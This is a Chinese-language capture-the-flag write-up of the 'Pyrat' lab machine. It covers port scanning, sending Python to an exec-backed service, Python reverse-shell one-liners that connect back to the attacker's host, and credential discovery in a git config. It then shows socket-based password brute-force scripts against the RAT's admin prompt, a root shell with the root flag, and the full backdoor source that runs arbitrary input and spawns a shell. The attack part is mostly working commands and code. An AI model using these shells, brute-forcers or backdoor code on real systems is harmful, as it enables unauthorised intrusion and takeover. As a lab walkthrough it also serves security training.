Pyrat
Pyrat
信息搜集
端口扫描
1
nmap -sCV -p 1-65535 172.20.10.13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, LANDesk-RC, Socks4, X11Probe:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
| name 'HELP' is not defined
| Kerberos:
| 'utf-8' codec can't decode byte 0x81 in position 5: invalid start byte
| LDAPBindReq:
| 'utf-8' codec can't decode byte 0x80 in position 12: invalid start byte
| LDAPSearchReq:
| 'utf-8' codec can't decode byte 0x84 in position 1: invalid start byte
| RPCCheck:
| 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SMBProgNeg:
| 'utf-8' codec can't decode byte 0xa4 in position 3: invalid start byte
| SSLSessionReq:
| 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| Socks5:
| 'utf-8' codec can't decode byte 0x80 in position 5: invalid start byte
| TLSSessionReq:
| 'utf-8' codec can't decode byte 0xa7 in position 13: invalid start byte
| TerminalServerCookie:
|_ 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=4/1%Time=660A59F0%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20def
SF:ined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<str
SF:ing>,\x20line\x201\)\n")%r(Socks5,47,"'utf-8'\x20codec\x20can't\x20deco
SF:de\x20byte\x200x80\x20in\x20position\x205:\x20invalid\x20start\x20byte\
SF:n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20is\x20not\x20define
SF:d\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20not\x20defined\n")%r
SF:(RPCCheck,47,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in
SF:\x20position\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqT
SF:CP,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n
SF:")%r(DNSStatusRequestTCP,2D,"source\x20code\x20string\x20cannot\x20cont
SF:ain\x20null\x20bytes\n")%r(Help,1B,"name\x20'HELP'\x20is\x20not\x20defi
SF:ned\n")%r(SSLSessionReq,4F,"'utf-8'\x20codec\x20can't\x20decode\x20byte
SF:\x200xd7\x20in\x20position\x2013:\x20invalid\x20continuation\x20byte\n"
SF:)%r(TerminalServerCookie,4E,"'utf-8'\x20codec\x20can't\x20decode\x20byt
SF:e\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation\x20byte\n"
SF:)%r(TLSSessionReq,48,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x
SF:a7\x20in\x20position\x2013:\x20invalid\x20start\x20byte\n")%r(Kerberos,
SF:47,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x81\x20in\x20positi
SF:on\x205:\x20invalid\x20start\x20byte\n")%r(SMBProgNeg,47,"'utf-8'\x20co
SF:dec\x20can't\x20decode\x20byte\x200xa4\x20in\x20position\x203:\x20inval
SF:id\x20start\x20byte\n")%r(LPDString,22,"invalid\x20syntax\x20\(<string>
SF:,\x20line\x201\)\n")%r(LDAPSearchReq,47,"'utf-8'\x20codec\x20can't\x20d
SF:ecode\x20byte\x200x84\x20in\x20position\x201:\x20invalid\x20start\x20by
SF:te\n")%r(LDAPBindReq,48,"'utf-8'\x20codec\x20can't\x20decode\x20byte\x2
SF:00x80\x20in\x20position\x2012:\x20invalid\x20start\x20byte\n")%r(SIPOpt
SF:ions,22,"invalid\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-
SF:RC,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
漏洞利用
先访问一下它的8000
端口,尝试发掘信息:
直接连接试试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nc 172.20.10.13 8000
whoami;id
name 'whoami' is not defined
help
?
invalid syntax (<string>, line 1)
ls
name 'ls' is not defined
-V
name 'V' is not defined
import pty;pty.spawn("/bin/bash")
invalid character in identifier (<string>, line 1)
import os
看来可以执行python语句,尝试反弹shell。
1
2
import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("172.20.10.8"),int(os.getenv("1234"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
# int() argument must be a string, a bytes-like object or a number, not 'NoneType'
换一个:
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.20.10.8",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
1
pwncat-cs -lp 1234
提权
信息搜集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
(remote) www-data@Pyrat:/root$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@Pyrat:/root$ ls -la
ls: cannot open directory '.': Permission denied
(remote) www-data@Pyrat:/root$ cd /tmp
(remote) www-data@Pyrat:/tmp$ ls
pymp-tohv0yte
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-ModemManager.service-2N2sVh
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-systemd-logind.service-fMUUzi
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-systemd-resolved.service-bXLClh
systemd-private-fee3f836921b4df4ad7c2b30b4d4a50b-systemd-timesyncd.service-3pF6Th
(remote) www-data@Pyrat:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
(remote) www-data@Pyrat:/tmp$ cd /var/www/html
bash: cd: /var/www/html: No such file or directory
(remote) www-data@Pyrat:/tmp$ cd /var
(remote) www-data@Pyrat:/var$ ls
backups cache crash lib local lock log mail opt run spool tmp
(remote) www-data@Pyrat:/var$ mail
mail: cannot stat `/root/.mail': Permission denied
mail: Cannot open `/root/.mailrc': Permission denied
No mail for www-data
(remote) www-data@Pyrat:/var$ cd backups
(remote) www-data@Pyrat:/var/backups$ ls
apt.extended_states.0 apt.extended_states.1.gz
(remote) www-data@Pyrat:/var/backups$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
think:x:1000:1000:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
postfix:x:114:119::/var/spool/postfix:/usr/sbin/nologin
(remote) www-data@Pyrat:/var/backups$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
cat: /etc/cron.weekly: Is a directory
(remote) www-data@Pyrat:/var/backups$ cd /
(remote) www-data@Pyrat:/$ ls
bin dev home lib32 libx32 media opt root sbin swap.img tmp var
boot etc lib lib64 lost+found mnt proc run srv sys usr
(remote) www-data@Pyrat:/$ cd opt
(remote) www-data@Pyrat:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 13:22 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
(remote) www-data@Pyrat:/opt$ cd dev
(remote) www-data@Pyrat:/opt/dev$ ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
(remote) www-data@Pyrat:/opt/dev$ cd .git
(remote) www-data@Pyrat:/opt/dev/.git$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
(remote) www-data@Pyrat:/opt/dev/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
切换至think用户
无意间找到了账号密码,切换用户
think
_TH1NKINGPirate$_
信息搜集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
think@Pyrat:/opt/dev/.git$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
think@Pyrat:/opt/dev/.git$ sudo -l
[sudo] password for think:
Sorry, user think may not run sudo on pyrat.
think@Pyrat:/opt/dev/.git$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
think@Pyrat:/opt/dev/.git$ git show
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
think@Pyrat:/opt/dev/.git$ ps aux | grep "root"
# 仅展示部分,发现大量的pyrat。。。。
root 1506 1.3 0.5 22048 11584 ? R 06:56 0:20 python3 /root/pyrat.py
www-data 1519 1.3 0.5 22184 11952 ? R 06:59 0:17 python3 /root/pyrat.py
root 1553 0.0 0.0 0 0 ? I 07:01 0:00 [kworker/0:1-events]
www-data 1575 0.0 0.6 22184 12368 ? S 07:04 0:00 python3 /root/pyrat.py
root 1614 0.0 0.0 0 0 ? I 07:09 0:00 [kworker/u2:2-events_power_efficient]
root 1771 0.0 0.0 0 0 ? I 07:16 0:00 [kworker/u2:1-events_power_efficient]
root 1797 0.0 0.1 8784 3992 pts/0 S 07:17 0:00 su think
root 1817 0.0 0.0 0 0 ? I 07:17 0:00 [kworker/0:0-events]
root 1865 0.0 0.0 0 0 ? I 07:21 0:00 [kworker/u2:0-events_unbound]
think 1867 0.0 0.0 6432 660 pts/0 S+ 07:21 0:00 grep --color=auto root
猜测是有些关联的。
让chatgpt解读一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check if the socket is admin and downgrade if not approved
uid = os.getuid()
if uid == 0: # Check if the user is root/administrator
change_uid() # If yes, change to a non-administrator user
if data == 'shell':
shell(client_socket) # If the data is 'shell', invoke the shell function
else:
exec_python(client_socket, data) # Otherwise, execute Python code
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0) # Redirect standard input
os.dup2(client_socket.fileno(), 1) # Redirect standard output
os.dup2(client_socket.fileno(), 2) # Redirect standard error
pty.spawn("/bin/sh") # Start a shell process
except Exception as e:
send_data(client_socket, e) # If an exception occurs, send the error message back to the client
所以我们想要执行的就是这个shell。。让root的pyrat运行弹出shell给我们:
下面想办法搞一下:
上网搜一下这个Pyrat是个啥:
PyRat 是一个用户友好的 Python 库,用于分析来自 DeepLabCut 的数据。旨在帮助不熟悉编程的研究人员更简单地进行动物行为分析。
PyRat 是一个用于后处理合成孔径雷达 (SAR) 数据的灵活框架。它是为机载和星载数据而设计的,特别专注于提供一个简单的基于插件的编程接口。
Python Remote Administrations Tools
很明显是第三个,这里的思路是爆破。。。。(偷看wp)
查看/var/mail
,存在邮件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
然后直接在作者的github找到了https://github.com/josemlwdf/PyRAT
查看源代码,发现了:
用户名为admin
,还找到一个密码:
为testpass
,但是测试过发现不是这个,但是用户似乎是这个。
在他的README.txt
中有这几句话:
After connecting, you can interact with the script using the following commands:
- Admin: To access the admin functionality, type
admin
and press Enter. You will be prompted to enter a password. Enter the password and press Enter. If the password is correct, you will see the message “Welcome Admin!!! Type ‘shell’ to begin”. You can then proceed to use the shell functionality. - Shell: To access the shell functionality, type
shell
and press Enter. This will spawn a shell on the server, allowing you to execute commands. You can enter any valid shell command, and the output will be displayed on yournc
session. - Python Interactive: To execute python commands on the server just send your python commands and it will be passed to the
exec
function.
一直搁置没有做,后来搞了一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(kali💀kali)-[~/temp/pyrat]
└─$ sudo arp-scan -l -I eth1
[sudo] password for kali:
Interface: eth1, type: EN10MB, MAC: 08:00:27:fb:51:ff, IPv4: 192.168.0.143
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 b0:0a:d5:b9:c2:92 zte corporation
192.168.0.152 34:2e:b7:08:3d:a1 Intel Corporate
192.168.0.179 08:00:27:99:ba:43 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.014 seconds (127.11 hosts/sec). 3 responded
┌──(kali💀kali)-[~/temp/pyrat]
└─$ ssh think@192.168.0.179
The authenticity of host '192.168.0.179 (192.168.0.179)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.179' (ED25519) to the list of known hosts.
think@192.168.0.179's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 16 Apr 2024 07:32:00 AM UTC
System load: 0.09 Processes: 123
Usage of /: 45.7% of 9.75GB Users logged in: 0
Memory usage: 10% IPv4 address for enp0s3: 192.168.0.179
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
You have mail.
Last login: Mon Apr 1 10:13:01 2024 from 172.20.10.8
think@Pyrat:~$
作者解法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
# Define the server's address and port
server_address = ('192.168.80.128', 8000) # Replace with your server's address and port
def send_word(word):
# Create a socket object
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Connect to the server
client_socket.connect(server_address)
# Send the word to the server
client_socket.sendall(word.encode())
# Receive data from the server (if applicable)
response = client_socket.recv(1024)
response = response.decode()
if not word in response:
print(f"Sent: {word} | Received: {response}")
except ConnectionRefusedError:
print("Connection was refused. Is the server running?")
finally:
# Close the socket connection
client_socket.close()
def read_wordlist_from_file(filename):
with open(filename, 'r') as file:
wordlist = file.readlines()
return [word.strip() for word in wordlist]
# Path to the wordlist file
wordlist_filename = 'wordlist.txt'
# Read words from the file
words = read_wordlist_from_file(wordlist_filename)
# Iterate through the words and send each one to the server
for word in words:
send_word(word)
这个是用来搞账号的,下面是爆破密码的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def test_this(password):
# Create a socket object
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Connect to the server
client_socket.connect(server_address)
# Send the word to the server
client_socket.sendall('admin'.encode())
# Receive data from the server (if applicable)
response = client_socket.recv(1024)
response = response.decode()
if 'Password' in response:
client_socket.sendall(password)
response = client_socket.recv(1024)
response = response.decode()
if not 'Password' in response:
print('Password:', password)
except ConnectionRefusedError:
print("Connection was refused. Is the server running?")
finally:
# Close the socket connection
client_socket.close()
def test_creds():
from threading import Thread
wordlist = '/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt'
passwords = read_wordlist_from_file(wordlist)
threads = []
for password in passwords:
thread = Thread(target=test_this, args=(password,))
thread.start()
threads.append(thread)
if len(threads) >= 30:
for thread in threads:
thread.join()
threads = []
按照作者的意思,修改一下就可以爆破出来的,但是我没搞出来,爆破出来是:
admin
september
爆破出来以后尝试连接获取rootshell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
┌──(root㉿kali)-[/home/kali/temp/pyrat]
└─# nc 192.168.0.179 8000
admin
Password:
september
Welcome Admin!!! Type "shell" to begin
shell
# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# ls -la
ls -la
total 68
drwxrwx--- 7 root root 4096 Jan 4 08:32 .
drwxr-xr-x 18 root root 4096 Dec 22 13:22 ..
lrwxrwxrwx 1 root root 9 Jun 2 2023 .bash_history -> /dev/null
-rwxrwx--- 1 root root 3230 Jun 21 2023 .bashrc
drwx------ 2 root root 4096 Jun 21 2023 .cache
drwx------ 3 root root 4096 Dec 22 14:21 .config
-rw-r--r-- 1 root root 29 Jun 21 2023 .gitconfig
drwxr-xr-x 3 root root 4096 Jan 4 08:32 .local
-rwxrwx--- 1 root root 161 Dec 5 2019 .profile
-rwxrwx--- 1 root root 5340 Dec 22 14:49 pyrat.py
-rw-r----- 1 root root 33 Jun 15 2023 root.txt
-rw-r--r-- 1 root root 75 Jun 15 2023 .selected_editor
drwxrwx--- 3 root root 4096 Jun 2 2023 snap
drwxrwx--- 2 root root 4096 Jun 2 2023 .ssh
-rw-rw-rw- 1 root root 9204 Dec 22 14:49 .viminfo
# cat root.txt
cat root.txt
ba5ed03e9e74bb98054438480165e221
# cat pyrat.py
cat pyrat.py
import socket
import threading
import sys
from io import StringIO
import datetime
import os
import getpass
import multiprocessing
manager = multiprocessing.Manager()
admins = manager.list()
def handle_client(client_socket, client_address):
uid = os.getuid()
uid_changed = False
while True:
# Receive data from the client
try:
data = client_socket.recv(1024).decode("utf-8")
except Exception as e:
# Send the exception message back to the client
send_data(client_socket, e)
continue
if not data:
continue
if is_http(data):
send_data(client_socket, fake_http())
continue
switch_case(client_socket, str(data).strip())
# Close the connection with the client
remove_socket(client_socket)
def switch_case(client_socket, data):
if data == 'admin':
get_admin(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0) and (str(client_socket) not in admins):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
# Tries to execute the random data with Python
def exec_python(client_socket, data):
try:
# Redirect stdout to capture the printed output
captured_output = StringIO()
sys.stdout = captured_output
# Execute the received data as code
exec(data)
# Get the captured output
exec_output = captured_output.getvalue()
# Send the result back to the client
send_data(client_socket, exec_output)
except Exception as e:
# Send the exception message back to the client
send_data(client_socket, e)
finally:
# Reset stdout to the default
sys.stdout = sys.__stdout__
# Handles the Admin endpoint
def get_admin(client_socket):
global admins
uid = os.getuid()
if (uid != 0):
send_data(client_socket, "Start a fresh client to begin.")
return
password = 'september'
for i in range(0, 3):
# Ask for Password
send_data(client_socket, "Password:")
# Receive data from the client
try:
data = client_socket.recv(1024).decode("utf-8")
except Exception as e:
# Send the exception message back to the client
send_data(client_socket, e)
pass
finally:
# Reset stdout to the default
sys.stdout = sys.__stdout__
if data.strip() == password:
admins.append(str(client_socket))
send_data(client_socket, 'Welcome Admin!!! Type "shell" to begin')
break
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e)
# Sends data to the clients
def send_data(client_socket, data):
try:
client_socket.sendall((str(data) + '\n').encode("utf-8"))
except:
remove_socket(client_socket)
def start_server(host, port):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)
print(f"Server listening on {host}:{port}...")
while True:
client_socket, client_address = server_socket.accept()
# Start a new process to handle the client
p = multiprocessing.Process(target=handle_client, args=(client_socket, client_address))
p.start()
def remove_socket(client_socket):
client_socket.close()
global admins
# Replace the original and admins lists
admins = admins._getvalue()
try:
if str(client_socket) in admins:
admins.remove(str(client_socket))
except:
pass
# Check if the received data is an HTTP request
def is_http(data):
if ('HTTP' in data) and ('Host:' in data):
return True
return False
# Sends a fake Python HTTP Server Banner
def fake_http():
try:
# Get the current date and time
